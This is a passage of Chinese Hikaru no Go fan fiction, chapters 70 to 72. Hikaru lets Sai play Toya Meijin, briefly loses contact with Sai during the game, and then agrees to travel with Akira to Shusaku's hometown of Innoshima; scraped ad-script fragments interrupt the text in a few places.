光瞬间紧张得脸颊通红。“啊?哦!那是因为……因为sai有阵子身体情况不太稳定,但是没关系,他很快就会出现的!” 他总不能说是自己最近在忙着职业考试和久原安排的训练,没空一直黏在网上吧。职业考试会一直持续到两个半月后,恐怕在那之前他都没办法好好下一场时间跨度超过3小时的网棋了,对不起了,塔矢老师,要让你多等等了。光在心中默默道了歉。 直到回家后,光的心情也久久不能平静。 他看着站在窗台前遥望远方的佐为,心知佐为正按捺着急切地想与对手相见的冲动。 佐为也是人,一直在网上对话,能传达的心情实在太有限了。他一定也很想和塔矢行洋下一局——坐在真正的棋盘前,迎着对方思考的神情,细细感受每一步落子的瞬间。 ——佐为……那一局,就让你来下吧。 时光飞逝,就这样到了与塔矢行洋约好的当日。 天气却莫名突然恶化起来。 “诶?怎么会?” 乌云积压,狂风呼啸,窗外的天空有些过分阴沉,看着叫人心烦。明明早上起床时才是满头灿烂的阳光,竟然转身就变天了,谁也没料到台风会突然转向袭向东京,就算是雨季也未免太过夸张。这样想着,进藤光皱着眉头拉上窗帘,打开室内的吊灯,心头莫名的混乱感依旧无法消除。 这样奇怪的心情,还真是罕见。 “小光,电视上说今天会下暴雨,你就别出门了吧?”美津子急忙收回阳台上晾晒的衣物,路过光的房间时叮嘱了几句,“万一被困在外面可麻烦了,台风预警可不是闹着玩的。” 电车和地铁一遇到暴雨都有可能瘫痪。到时候说不定连出租车都拒绝载客呢。 “但是……” 天气不好归不好,可光实在不想就这么白白浪费一天切磋棋艺的时间,尤其是佐为还那么期待今天与塔矢行洋的会面。 佐为见状,连忙柔声安慰道:“安全第一,小光,你就听妈妈的话吧。反正我们可以在网上下棋嘛。” “现在怎么总是你来劝我,感觉怪怪的。”光见佐为也越来越习惯现代的生活,都觉得两边反过来了,“还是不要窝在家里比较好吧?毕竟你那么想见塔矢老师,好不容易才有一次面对面下棋的机会……” 外面的云渐渐遮蔽了大半的天空,要是下了大暴雨,一时半会估计也停不下来,明天后天也未必能顺利出门,万一到塔矢行洋出国之前都见不到面可就糟糕了。理智告诉光不应该出门去找罪受,可是,如果要他向塔矢家打电话说今天的对局改到网上,还真有点小小的落寞。 如果不抓住这次的机会去和塔矢名人好好下一局,下次见面都不知要等到猴年马月了。 “没关系的,即使是到了塔矢名人跟前,和他对局的人也是小光你,他不会知道那是我在下棋呀。” “别这么说!佐为!”光的反应却很激烈。 佐为原本只是想不要给光添麻烦,可却意外戳中了光的泪点,两人之间的气氛也瞬间低沉了许多。光闷闷地低下头去,再次抬头时,眼里已经写满了坚定。 “对不起,我不是在生你的气……我还是趁着现在还没下雨赶紧过去吧。” “啊、小光!” 进藤光打断了佐为,径自走向门口,又省不得花了些精力劝说美津子放他出去,带了把家用的长柄伞就跑去家门口的电车站了。由于是台风即将降临的阴雨天,电车上的人越发多起来,握着吊环都快被挤出去,光只觉得拥挤不堪,差点透不过一口气生生憋死在车厢里。 好不容易抵达塔矢家时,暴雨已经骤然降落,远处还传来吓人的雷鸣,光不得不快步跑进他们的院子,在门口等待的亮立刻迎了上来。 “塔矢!” “进藤!其实你今天大可不必冒雨前来的,这么强的雨,就算撑伞也难免会淋湿。” 在塔矢亮嘴里,完全不带责备意识的责备说着说着好像变成了奇怪的关心,光倒是神经大条地笑了几声,把伞放在门厅的架子里,接过明子夫人递来的毛巾擦了擦被雨水打湿的手臂。 “没事的啦,我这不是顺利过来了!” “但是小亮说得对,你们马上就要参加职业考试本赛了,万一感冒就得不偿失了。”明子温柔地插了一句,又倒了杯热茶给他,“先暖和一下再进去吧,进藤君。” “谢谢您。不过真的没事啦,我们这个年纪哪有那么体弱多病。”光毫不在意地摆摆手。 “棋士常年端坐,体质方面自然比不过常人,你应该多加小心才对。” 一个熟悉的慈祥的声音从身后传来,顿时让他倍感亲切,没错,来者正是从中国返回的塔矢行洋。 进藤光回过头去,发现塔矢行洋脸上带着僵硬和煦的微笑,身上还是穿着那件古朴又正式的深褐色和服,除开皮肤稍稍变白,其他地方倒是一点也没变的样子。看到此景,佐为也不禁感叹异国亦无法磨灭一个人的气质。 光连忙鞠躬行礼,“是,塔矢老师。终于又见到您了!” 见到久违的大前辈,让他一时紧张得差点忘了礼节。塔矢家他也很久没来过了。最近他忙着准备职业考试,不经常来参加绪方等人的私人研究会,与塔矢亮的切磋也多在围棋会所,所以站在这方令人怀念的天花板下还有些不适应。 塔矢行洋略微点头,随即问道:“听小亮说,你想和我对局?” 佐为握着折扇的手不自觉收紧了,他目不转睛地盯着塔矢行洋的双眼,期待能得到回应。 “是的。”进藤光果断地倾首,道,“您在中国的时候,只在网上同sai有过几次对弈,所以我也想给您看看我的棋力。” “……” 其实这话用在这里完全是为了圆谎,但在佐为听来还是有点不是滋味。面对面的时候,和塔矢行洋对弈的人永远只是进藤光,就算佐为执子与之奋战,也必须考虑到不能妨碍到光的秘密,所以处处受到钳制。这样做,对自己,对光都是一种不公平。可是,内心对这次对局的渴望却怎么也无法平息。 “嗯,我也想看看这几个月你有多大的进步。”行 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 洋感慨道,“我走时,说过希望你成为一个独当一面的棋士,你是sai的弟子,棋里或多或少有他的影子,却不知你能不能找到自己的道路。未来的职业生涯还需要加倍努力啊,进藤君。” 独当一面的棋士…… 光不禁为之动容。 他明白自己所处的位置有多尴尬,每次代替佐为下棋时,他心里都非常不安。其实他也并不想以“进藤光”的身份代替佐为和塔矢行洋对局,那样只会招来多余的误解,但是,早在他重生的瞬间,他就决定了要好好对待这一世的佐为——就算是让人怀疑自己是sai,也比不上佐为的消失令他心痛。 他已经不想再后悔了。比起“棋士的名号”,佐为的感受才是最重要的。 佐为想见塔矢行洋,他就去见,佐为想坐在塔矢行洋对面下棋,他就去下,没那么多可顾忌的。 只要心智够坚强,他就不会因为毫无意义的身份认同而感到压力,这是25岁的进藤光可以面对的问题。他不就是为了这个目的,才带着成年人的头脑重回十年前吗? “……是。” 千言万语只化为一个轻轻的肯定。进藤光不想思考太多,只对佐为咧了咧嘴表示微笑,随即在棋室的榻榻米上屈膝坐下。 每每同塔矢行洋对弈,光都会情不自禁被他的气势所压倒,身后的佐为亦拥有同样的压迫力,让夹在中间的光承受双倍的战火煎熬。双方之间的战斗果然还不是现在的他所能企及的高度。要经常提醒自己才行啊,这就是他打算追上的人。 “来猜子吧。对手是你的话,我就不让先了。”塔矢行洋低声说。 “是。” 光的心跳快到令他头晕目眩的地步,就连伸手去摸棋子也止不住轻微的摇晃,眼前的一切都在“砰砰”的惊雷中变得虚幻起来。 视线黑压压的,像极了外面暴风骤雨中的东京城。 猜先完毕,应该轮到佐为执黑先行。 然而,光等待着他的话语,却迟迟没有到来。 等到最后,光有些困惑地扭头看向身后的佐为。在昏暗的灯光下,紫发幽灵以扇掩面,似乎在表达某种无法用言语传递的尊重。 “小光。这局棋……还是由你来下吧。” “诶?” 光怎么也没想到佐为会突然说出这种话。明明棋局马上就要开始了!明明佐为昨晚还那样期待! 他急切地摇了摇头:“你在说什么啊佐为!这可是难得的机会!” “塔矢名人希望你成为独当一面的棋士。你得给他看看你这段时间的成长。”佐为的眼里写满了温柔,他十分耐心地安抚着光,决意却分毫未曾改变,“眼下他在等待的人,并不是我。” 不是这样的。不是这样的! 光的反驳愈加激烈,却也愈显贫瘠:“才没有这回事!塔矢老师一直期待着和你对弈!” “那是sai。但小光是小光,不对吗。” 塔矢行洋期待着与藤原佐为的手谈,是事实。但这一刻,塔矢行洋期待着进藤光的成长,也是事实。在面对与宿敌交手的愿望时,佐为却也清晰地认知到了这一局的归属——应该坐在棋盘前的人,是小光,小光有义务向教导他围棋经验的塔矢行洋汇报这一个月来的成果,小光身上也的确拥有值得骄傲的进步。 佐为不想违背塔矢行洋的期待。这是小光应得的认可,作为棋士,“脱离sai的影子”也是他成长的必经之路。 但光的心情完全相反。 “……” 不知为何,他就是不敢把这一局从佐为手里抢走。 要是久原在这里,肯定也会劝说他“拿出sai的实力,和塔矢行洋轰轰烈烈地交一次手”吧。佐为虽然现在回来了,可说不准什么时候就可能消失,只要有机会,光总想让他和塔矢行洋多下几局,大家也都想看到他们的对局。 他已经决定要把这一局留给佐为了!毕竟以后自己又不是没机会和塔矢行洋交手!大家都可以下,又不矛盾!时间更紧迫的人是佐为才对! ●○●○ 71.Chapter 70. 两难与觉悟 “小光!”佐为有些焦急地劝阻道,他不懂小光为何如此顽固,“你到底在担心什么?我下次在网上和他对弈就好,现在你应该做的是……” “如果佐为不下的话,我是不会落子的。” 光的声音里透着无尽的冷静。 他不是在反驳,而是在陈述着自己不容置疑的决定。 以后这样的情况一定还会发生,佐为退让一次,就会有第二次、第三次,上辈子就是这样不断退让下去,才导致了佐为的消失!这一次他不允许佐为离棋盘越来越远!这件事已经定了!没得商量! 这份果决也传达到了佐为眼中。 小光果然还是在顾虑自己。 但是,如果忽略小光如此为自己考虑的心情,也未免太薄情了。 “……我知道了。” 事已至此,佐为深吸一口气,决定接受他的好意,既然要出战,那就一定要赢。 随后,他的语气也变得无比锐利,“准备好了吗,小光?” 光果断地点了点头。 “我随时都可以。” “那就开始吧。第一手,十七之4,小目!” 佐为压低了声调,将扇柄伸出,指向棋盘上方,犹如挥动一把久经磨炼的宝剑。 唰——宝剑直指敌方的咽喉。 他真诚期待着这位归国之客有所变化的棋路。士别三日当刮目相待,对面的塔矢行洋也应当与记忆中的那个人有了翻天覆地的变化。中国的棋士是什么样的风格?围棋文化发源地的人们,也在以千年不变的热忱追求着神之一手吗?他想知道答案。 牺牲了小光下棋的机会赢来的对局,必须得到一个答案。 如光所料,佐为的第一手,照例下在小目。 塔矢行洋略作停留,续以左上角三三。 并不常见的一手。是因为去中国与新世代的棋手们交流过后,改变了常用的下法吗。 “十六之17。”佐为面上的神情严峻如常,连同说话的语气也能瞥见锋芒。 光便在右下角也放上小目。看来这一局佐为也打算采取占实地为主的方针,来回应塔矢行洋的三三开局。 随即,塔矢行洋下在左下角小目。 佐为应以右上角小飞,形成无忧角,静待白棋的反应。 塔矢行洋则开始进攻右下角,白高挂,黑托退,至此,佐为已获得两个稳固的角地。 这样的局势只让观战的塔矢亮猜不到后续的结局。 “白开拆,进藤明明可以拆二来扩大右上角的势力,却跳回左下角去飞挂……难道是遇到父亲的特别考虑?” 亮端坐在一旁,细细思考着这局奇怪的棋。 正在下棋的光却产生了完全不一样的感觉。 一种炽热的心情将他的四周包裹,眩晕感比开局前更甚,手上的动作随着佐为的指令不曾停止,却隐约有些迟钝。 为什么会这样? 之前他和佐为一起下棋,总是觉得自己仿佛与佐为融为一体,毫无间隙。 可今天,两人之间就像隔着什么看不见的墙…… 光绷紧神经,迫使自己静下心去,不要岔开视线,但是面前的棋盘以及棋盘上激烈的对战都在逐渐模糊。光不得不掐了自己一把,来保持高度警觉。 佐为没有察觉到光的异样,只把全部精力投入对局之上。 下一手,塔矢行洋在右上角的无忧角二路托,这是佐为鲜少见到的手法,印象里很少——不,也许是根本没有人这么下过,他立刻兴致高涨,眼中的亮光也锐利起来:“十八之5,外扳。” 外扳,摆明了是争先手的下法。右上角的战斗一触即发,很快,双方的势力平分秋色,算是暂且稳定下来,佐为又抢先在三之6拦住,既防止左上角的白子向下发展,又与左下角的飞挂一子遥相呼应。 “唔……” 这回,塔矢行洋终于停下来咄咄逼人的棋步,坐回身子,思考了许久。 院子里的竹筒发出清脆的流水敲击声,一声,又一声,在第十声响起的时候,他才重新夹起了棋罐里的棋子。 他并没有下在角地,而是转向四之10,意在钳制黑棋的势力。 好棋! “小光,左上角星位。”佐为正在深沉的思索里徘徊不定,眼睛的焦点半刻不曾离开棋盘,无暇注意光的身上有什么不对劲的地方。但是这一次,光的落子却没有马上跟进。 “小光?” 佐为不得不再次呼唤他的名字。 “……小光?” 依旧没有回应。佐为这才觉得奇怪,低头看去,只见进藤光一直维持着同一个姿势,却仿佛并没有下棋的打算,听到佐为的话语也没有任何回应。 “小光?你怎么了?!” 佐为不安地唤着他的名字,他感觉到一股淡淡的冰冷在胸腔里流动。 该不会是小光出了什么问题吧?还是最近下棋累着了?难道是刚刚在大雨里着了凉?可千万别又在棋盘前昏倒啊!只消片刻,佐为便设想出了无数种可能,面色也越来越紧张。 “啊,佐为,你说什么?” 他越来越紧张的时候,进藤光却突然抬起头,顺口回答了一句。 虽然坐在身侧看不清他的表情,但佐为能听得出来他的声音元气十足,不像是病了的样子,一颗悬着的心终于落了下来。 原来只是听漏了啊。 “嗯,我说左上角星位。”佐为笑着补充道。 进藤光点点头,快速摸到一颗棋子,放在棋盘上,内心却不停地打鼓。 刚刚那一瞬间,他感觉得到佐为在说话,却什么也听不到。 是真的什么也听不到。 这绝不是他一个人的杞人忧天。敏感如他,自然早就猜到或许是佐为和自己之间的联络出了毛病——就像被干扰了的无线电一样。毕竟是二世为人,在灵魂怪谈这方面,他不信也得信,怀疑的东西也多了许多。此刻回想只觉得恐惧至极。 他可不想再失去佐为!绝对不要! 上天这是什么意思?这局棋难道一定要让进藤光亲自下吗? 因为光违抗了他的意志,就擅自切断光和佐为之间的联系? 少开玩笑了!是他自愿让佐为下棋的,佐为需要这一局!佐为又不是进藤光的燃料,佐为也有自己的人生,自己的欲求,自己的围棋之道! 这一局他就是想由佐为来下!有什么不对吗?! 棋局依旧在推进,然而,进藤光的心思已经完全飘离了战斗漩涡的中心。他精神恍恍惚惚的没办法集中,只木偶般听从佐为的安排,把一颗又一颗棋子放置在它应在的场所,再也没有力气去思考其中的奥秘。 塔矢行洋好像有些被他的异样所惊动,抬眼看着进藤光的脸,一切如常,反倒觉得是自己多心了。于是下一步也下得随手了一些。 佐为怎么可能会放过这么上佳的机会,抓住漏洞便趁虚而入,毫厘即是千里,被佐为这样一阵追击谁都无法全身而退,待到失去胜势,塔矢行洋方才为刚刚的随意一手而陷入苦思。 年纪大了之后,计算的时候分神的概率也大了起来。不过,他在中国学习的深入敌腹之术也并非纸上谈兵。 就在最后分出高下便可! 眼看胜负快要分清,进藤光却“倏”地站起身来。塔矢行洋有些惊讶于他的举动,满腹狐疑地抬起头看着他。 “抱歉,塔矢老师,我不舒服,想先回家一趟。” 明知这样做很无礼,他却半秒也强撑不下去了,佐为看到进藤光的浑身上下都在微微颤抖,心里的担忧也迅速取代了棋局被打断的惋惜。 “小光……你怎么了?” “你没事吧,进藤?”同时,塔矢亮也发出了一样的疑问。 亮在之前就觉得今天的进藤光有哪里怪怪的,下棋的时候,只有亮旁观者清,发现他的表现有些不对。现在他都主动告辞了,亮遂毫不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 犹豫地起身去搀扶对方。 光艰难地扯出一个笑容,简直比哭还难看:“抱歉,我有点头晕……” “要不要去医院?”塔矢亮哪里能接受这样含糊的解释,心里也清楚他只是在勉强保持清醒,连忙对身后的行洋说,“父亲,棋就先下到这里,快去叫救护车——” “没那么夸张啦,塔矢!”进藤光急忙拦着这个爱小题大做的家伙,他可不想随随便便就兴师动众地被送进重症看护室之类的然后又说其实只是心理压力太大所以被送回家,“行了,我自己可以回去的!” 佐为却不放心他的状态:“不行,小光!你的脸色很差耶!” 进藤光连忙安慰他道:“我没事,只是状态不太好。” “小光你这个大骗子!”佐为双手举起,眼眶里也凝满了泪水,“这么明显的事还要骗我!刚才绝对发生什么事了吧!” 他可不是瞎子,小光这么明显的失常,谁会觉得无事发生? 无奈之下,进藤光稳住身体深呼吸了一口,让自己看上去更有精神一点,才解释道:“是真的啦,我没事。肯定是和塔矢老师对弈让我太紧张了。” “小光是坏蛋!” 光还想找点借口,塔矢行洋严肃的表情却不容置喙地将他逃跑的念头尽数打消:“才说过棋士要珍惜自己的身体,进藤,你还是个孩子,越是小事越要小心对待。” “……对不起,塔矢老师。”光低下头,就像一个犯错的小朋友。 亮目不转睛地盯着光的脸,确认他好像恢复了点,心里的不知所措也随之减淡,在塔矢行洋发话之后,亮妥协似的松开扶着光的手:“不管怎么样,现在外面雨太大,你至少休息一会儿再走吧。” 雨……? 这么一说,进藤光才想起外面现在还在下大雨,或许今天都停不下来。雨季里遇到这种天气,也实在是正常得很。 光身子里的挣扎逐渐平静,又看见对面亮关切的眼神,不好意思地点头道:“嗯,等雨稍微小一点再走吧。给你们添麻烦了。” 两个人坐在亮的房间里相视无言。作为友人,明知进藤光状态不正常、却对此毫无办法的亮,心中有些自责。进藤一定是隐瞒了什么,不仅瞒着父亲,也瞒着自己,但亮不确信,仅凭这微妙的怀疑,能否追问出真正的答案。 暴雨来得快,去得也快,所以没几分钟雨势就小了下来。 这样一来,进藤光再执意要告辞,他也没法阻拦了。 佐为紧跟在进藤光身后,一副“我绝对不会彻底放心”的表情密切关注他的状况,弄得光啼笑皆非,花了好大的力气才让对方放弃了全面警戒的想法。 “放轻松啦,佐为。” “小光你真的没事?” “这句话你问过多少遍了。” “可是……” 他们已经穿越人潮,走进了进藤家的家门。 屋子里干爽的空气让人觉得舒服了很多,不过刚刚在外面小跑着搭上电车的路途也是一种别样的体会。仿佛能消除掉他内心积压的负面情绪一样。 进藤光狠狠地吸了口发潮的空气,用浴室的毛巾擦干被雨淋湿的头发。 “哇……湿透了……我还觉得雨很小呢。”他盯着镜子里的自己,故作轻松地说。 “你应该等雨彻底停下来之后再走的。” 佐为怨念深重地盯着他的一举一动,相处得越久,对他的状况反而越发担心,因为进藤光就是一个喜欢对每个人露出笑脸的家伙,很难知道他是不是在逞强。就算是和他形影不离佐为也一样,无法完全了解他的真实想法。 “等雨彻底停下来那就太晚啦。”进藤光自言自语,“为什么呢?” 他还是不明白,刚才为什么有一瞬间,自己会听不到佐为的声音? 距离佐为消失应该还有两年,他也有认真注意不忽略佐为的心情,即使做到这个地步,也不能挽回佐为的命运吗? ●○●○ 72.Chapter 71. 因为我们是朋友 “阿嚏——” 不知是天气原因还是其他理由,光回到家之后一直胳膊发凉。看起来的确是感冒,却又没有任何前兆,到美津子发现他趴在床上呼呼大睡时,才察觉他身体状况不佳的事实。 “小光,你脸色很糟啊,有没有觉得头痛?今天淋雨了吗?” 作为母亲当然第一关心儿子的身体,所以光睁开眼的第一幕就看见美津子在摸自己的额头,表情急切中带有一丝惊恐。 “妈妈……” “好好躺着,我去熬点粥过来,要是实在难受就去医院,不要撑着哦。”美津子替他盖上被子,嘴里碎碎念着,“待会得去叫你爸爸回来才行。” 没了再说下去的力气,进藤光只是安静地点点头,然后望着天花板发呆。 等美津子走出房门,佐为才开口问道:“小光,要再睡一会儿吗?” “刚刚我睡了多久?” 看光的反应,似乎是不打算再在床上休息了。 “也就一个下午。” “那还真是病得不轻……现在好多了,不过妈妈绝对会把我摁在床上的,反正也出不去,不如我们来下盲棋吧,佐为。” 久违的身体不佳让他意识到了盲棋的好处。 “可是……” 光的脸上呈现出云雾般清淡的笑意,看到佐为犹豫的神色,补充道:“担心什么,明天就又活蹦乱跳的啦!人总有状态不好的时候,和佐为下棋最让我放松了,就当是陪我,怎么样?” 他抱着棋石形状的棉花枕头钻进被子里,头发乱糟糟的,早些时候的紧张都消失不见了。 在久原的安排下,光平时也没缺少锻炼,虽说是因为下棋耽搁了很多时间,但每天还是会尽量出去跑上两圈,感冒什么的更是罕见,故而佐为也没有太纠结这件事。看小光的表情很乐观,佐为一时间找不出反驳的理由。 “……好吧,不过小光你不要太用脑,会很辛苦的。” “知道啦。” 两人闭着眼睛你来我往的交锋一直持续到美津子端着粥走进房间为止,到那时,胜负依旧未分,佐为只说自己替他记着棋谱等晚上再继续,光才肯停下思考,吃了点清淡的食物。 可才稍微恢复了些力气,光就急着招呼佐为坐到电脑前,说什么也要登陆sai的账号让佐为和塔矢行洋再对局一次,把佐为都逼得生气了。 “小光!你现在应该好好休息!” “但是我就是很在意刚才没下完的那一局啊……” 这不全是借口。那一瞬的失联简直就像是佐为消失的预兆,如果有什么是他能做的,那至少也要让sai尽快回到人们的视野里,决不能让佐为的存在被人遗忘。还好,现在他还听得见佐为的声音,趁现在多下几局,佐为一定会没事的! 结果这样一连下了好几局,光的劲头越下越高,甚至一不小心就忘了出席第三天的塔矢研究会。 这可是大事。当晚,一通电话就不由分说地直接打进了进藤家。 “——为什么不来研究会,进藤?身体还没恢复吗?” 塔矢亮冷声的质问让任性鬼进藤光一下子就哑口无言。他只能尽量不触怒对方。 “嗯?没有,我已经完全复活了!” “那为什么连招呼都不打就无端欠席?父亲在等你,快过来。” 往常的进藤光要是得知塔矢行洋在等自己,早就兴奋得从房间里跳出来了。可是今天不同。想到佐为再遇到塔矢行洋说不准就会出现意外,光就陷入了犹豫。 “塔矢……”光的嗓子有点干涩,他不知该如何组织自己的语言,可情绪不会凭空消失,一股气血冲上头,想到电话那头是值得信赖的塔矢,他就忍不住说出了丧气话,“我说不定……没办法再下棋了……” 此言一出,亮震惊得无以复加。 他双手握紧听筒,瞬间加大了音量。 “没办法再下棋?你在说什么——” 意识到自己不小心讲出这么疯狂的台词的进藤光连忙进行一个紧急撤回:“刚才我是开玩笑的!你别信啊!我要睡觉了,脑子都迷糊了。” “进藤!等等!” 咔哒。电话无情地挂断了。 随后是无尽的忙音。 光烦闷不堪地捂着额头在电话柜前靠墙坐下,真尴尬,怎么会下意识把内心的脆弱说出口了呢,这么消沉的态度一点也不符合他的性格。没办法再下棋了?听了这种话,塔矢会怎么看他?佐为又会怎么看他?简直糟透了…… 人就是如此,内心深处雪藏的情感总不能一直压抑下去,总需要一处出口。只是他把塔矢亮当成了最重要的朋友,不小心在对方面前示弱了而已。 一旦真说出口,反而就没那么郁结于心了。 等等,最重要的朋友?他连佐为的事都从头至尾瞒着亮,哪来的资格以“最好的朋友”自居啊。 电话铃声再次响起时,光只觉得浑身晕乎乎的,十万个不想接。 但只要他不接,铃声就绝不会停,这就是塔矢亮本人的意气。等到第六次铃声响起后,光不得不拿起了听筒:“塔矢,我已经说过了,那只是玩笑话啦,不要一直打电话给我……” “你手边有《围棋周刊》吗。” 没想到,亮却将话题带去了完全出乎意料的方向。 光直接愣了一下。“有倒是有……” 他瞟向鞋柜上的最新一期报纸,因为是美津子刚拿进来的,他还没来得及看。佐为已经先一步飘去了旁边,突然兴奋地指着封面大叫起来,好像看见了什么了不得的东西 “小光,你看这个!报纸上有说到虎次郎哦!”佐为的眼中闪闪发亮,语调也不禁提高了八度。 简直就像是,溢出久违的色彩一样。 “虎次郎吗?”光觉得有点奇怪的不安,将这不安吞回肚子里去之后,他又好奇地拿起了报纸,“说了什么?” “在本因坊秀策的故乡——因岛正在举行纪念秀策诞辰170周年的全国友谊赛!决赛时间应该就在这几天,已经有很多职业棋士通过了复赛,所以最后几天的战斗大概会非常激烈。啊,听上去似乎很有意思的样子呢……没想到大家都还记得虎次郎的事情。”佐为念出报纸上的原话,自己又加上几句评价。 是啊,因为佐为你很厉害嘛。若是换在往常,光一定会这样打趣他,可是今天,出乎意料地,光露出了沉思的表情。 “纪念秀策的全国友谊赛?” 但是,为什么塔矢会特意提起这个……还是在无数次重新拨号之后? 光再次拿起听筒:“我看到了,《围棋周刊》。然后呢?” 亮在电话那头深吸了一口气。 “你是因为喜欢秀策的棋,才决定成为职业棋手的,不是吗。” 亮很清楚,进藤光是秀策的忠实粉丝,而且棋风都和秀策肖似,如果提起秀策,他一定会有所触动。 不论前几日他与父亲对局时为何突然离席,不论他那句气话是真是假,亮能想到的方法都只有一个,促使他直面问题的方法。 倘若进藤真的有什么难言之隐,他该做的也不是追究。陷入苦恼的人会本能拒绝外界丢来的救生圈,顽固的进藤就更是如此,再怎么追问,他也绝不会说实话,那么如果自己想帮到他,就必须一起冒着溺水的风险跳进海里才行——亲自感受过进藤的苦恼的根源,才能明白他退缩的理由。 亮正是有此觉悟,才会说出这番话。 归根溯源,进藤的一切都与秀策联系在一起,想了解他,秀策便是最佳切入点。 从前的塔矢亮并不具备替他人着想的才能。是进藤光改变了他。 “……” 见进藤光没有作答,亮更加确信自己赌对了。他进一步乘胜追击:“桑原本因坊是特邀嘉宾,所以没有直接参赛,但是森下老师和座间王座好像都进了八强,如何,要去看看他们的对弈吗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 光还是有点不相信自己的耳朵。 “你这是在……邀请我一起去因岛?” 那个塔矢亮,怎么还会关心人了?要知道这可是在职业考试前夕!最最重要的时候!怎么能浪费时间在外出旅行上? 亮缓和了口吻,道:“我不知道你发生了什么,但下棋的人都有自己的初心,如果你直面自己的初心,还能说出‘不再下棋’这种话,那就请便。” 这别扭的措辞,真不坦率。 光终于还是无奈地发出一声叹息,“干嘛要为了我做到这种地步……” “因为我们是朋友。” 亮的答案简单直白,却掷地有声。 立场反过来了啊。明明第一次光把他称为“朋友”时,这家伙还一脸见到稀有物种的表情呢。光揉了揉眼角,望向门外即将散去的乌云。 在塔矢亮发出邀请之前,他的担忧无法直接传达给任何人,包括佐为。 那天早上的对弈中,那份难以言喻的窒息感,以及害怕再次失去佐为的心情,绝不是错觉。一直一直下棋,是他心底里的愿望,可那份执念和佐为相比,究竟孰重孰轻?最初他希望回到过去的理由,明明只是觉得愧对佐为而已……哪怕只是再次相见,就已经足够让他沉溺于梦中一睡不醒了。他之所以说什么“可能没法再下棋”,本质就是在逃避现实。 但亮的提议吸引了他。也许这是个机会。他不能再束手待毙,哪怕只有一点点可能性,他也想在难以挽回的事情发生之前,至少带佐为先回因岛看看。 那是他唯一可能找到线索的地方,说不定会有什么意外发现。 “总之,就这样定了,我去收拾东西。”久久未等到光的答复,亮干脆擅自替他做了决定,本来他也未曾打算留给对方任何转圜的空间,“明晚7点新宿车站见。” “——啊!居然敢挂我电话!” 这个家伙,好的不学尽学坏的。光气呼呼地放下听筒,心里却莫名有种拨云见日的感觉。真不可思议,早些时候那股堵塞在胸口的郁闷突然就一扫而空了。佐为见他露出微笑,悬着的心也总算安放下来。多亏了塔矢,小光好像回到了原来的样子。 “所以呢,小光,我们要跟塔矢一起去看比赛吗?” 佐为跟随在光身后,看着他把一套换洗衣服和一个运动水杯装进包里,又去卫生间带了牙刷和毛巾,还把《围棋周刊》也塞进了背包深处。 “嗯,今天再休息一天,明天傍晚出发,先坐新干线去大阪,然后换乘夜间巴士去因岛。” 进藤光收拾完简单的行李,又开始酝酿对父母该如何做出解释,以及怎么要到这笔高额的旅费。其实自己四舍五入还在病中,原本不应该这样急匆匆地出门去的……可现实又是,他已经一秒钟都不想再等了。 “可是因岛很远吧?”佐为担心的另有其事,毕竟在他的年代,穿越整个本州岛这么夸张的行动,动辄就要花费数十天,“7月就是职业考试本赛,万一回不来怎么办?” 光噗嗤笑了起来。 “没那么久啦,一天之内就能赶到了。你以前在那里生活过很久,应该也很想回去看看吧,佐为。” “想!当然想了!小光你太好了!”佐为马上露出小孩子一般的笑容,“不过,那里会不会也和以前不一样了?也不知我还能不能认出来……” “一定能的。因为那里是虎次郎的故乡啊。” 进藤光想起上辈子佐为消失后、他和河合先生一起前往广岛四处寻找佐为的踪迹,却竹篮打水一场空,最后哭得撕心裂肺的事,有些黯然。这一次能和佐为一起去那里,也算是不幸中的万幸了。就当做是一场难得的圣地巡礼吧。 这样想着,光乖巧喝掉美津子端来的热汤,决定好好再睡一觉。 被子里热烘烘的,衬托出窗外淅沥的雨声格外清凉。看来台风天也告一段落了。 一夜无梦。 ●○●○ 73.Chapter 72. 因岛之旅 翌日傍晚,人来人往的东京新宿,JR车站。 自从重新回到现世,令人惊讶的风景就一次又一次刷新着佐为的世界。原以为小光家附近那么多六七层的高楼大厦已经够令人咋舌了,没想到在东京真正的中心,会有如此多数十层的巨型玻璃建筑!高耸入云的钢铁盒子里,究竟装了多少形形色色的人? 再加上今天又是周五,来新宿结伴逛街的年轻人达到峰值,一不留神就会撞到拥挤的人群。途中好几次,进藤光都被迫偏离了原来的路线,就这样在不断的道歉中慢慢前进。 “佐为,你还在吗?” “我在哦,什么事,小光?” 光扭头定睛一看,脑袋上蹦出问号的佐为还完好无损地飘在身后,心里默默松了口气。 “我们就要走了,可别掉队咯,要是在路上你突然不见的话我可是很难办的!”嘴上抱怨了几句,他稍稍收起满脸的焦虑,“啊!是塔矢!” 虽然这里人山人海,可他还是一眼就认出了站在人群之中的塔矢亮。 没办法,亮的高贵气质太过鹤立鸡群了。令人震惊的是,他还是穿着往常的海王短袖制服,干净利落、严肃端庄,与周围那群精心打扮过的时尚辣妹格格不入。这家伙怎么连周末都不穿私服出门!以后当了职业也是天天穿西装,多不可爱啊! 不过,比起这个…… 光忍不住指着他大叫:“搞什么?你的行李也太少了吧,塔矢!” 亮的右手只握着一只轻便的纸袋,一副“只是出门喝杯茶”的行头,与他相比,光的背包就鼓鼓囊囊得多了。这也是性格差异使然。光一边好奇那纸袋里的内容,一边背着他金色的背包准备迈上新干线列车的入口,身后的人却并未跟上,他回头去看,发现亮似乎在走神。 他呆呆注视着晚霞中行人汇聚的方向。听到光的叫声,亮方才记起他们此行的目的地是1400公里外的秀策故乡——广岛县尾道市因岛外浦町。 为了私心出远门之类的事情,细想起来好像还是第一次。他们毕竟都还是国中生,独自离家这么远,连东西都不带,这家伙绝对是向塔矢明子撒了什么谎。 “喂,该不会你家都不知道你要出远门吧?”作为25岁的成年人,光开始替他担心起来。 亮的表情出现了微妙的停顿。 “我家是自由主义,父母不会干涉我的周末。原本成为职业后也要频繁往来于各个城市之间参加比赛,这方面的准备工作我已经做过了。不过,为了避免他们担心,我给的说辞是参加海王中学的修学旅行。” 果然有鬼!难怪他周末还穿着校服! 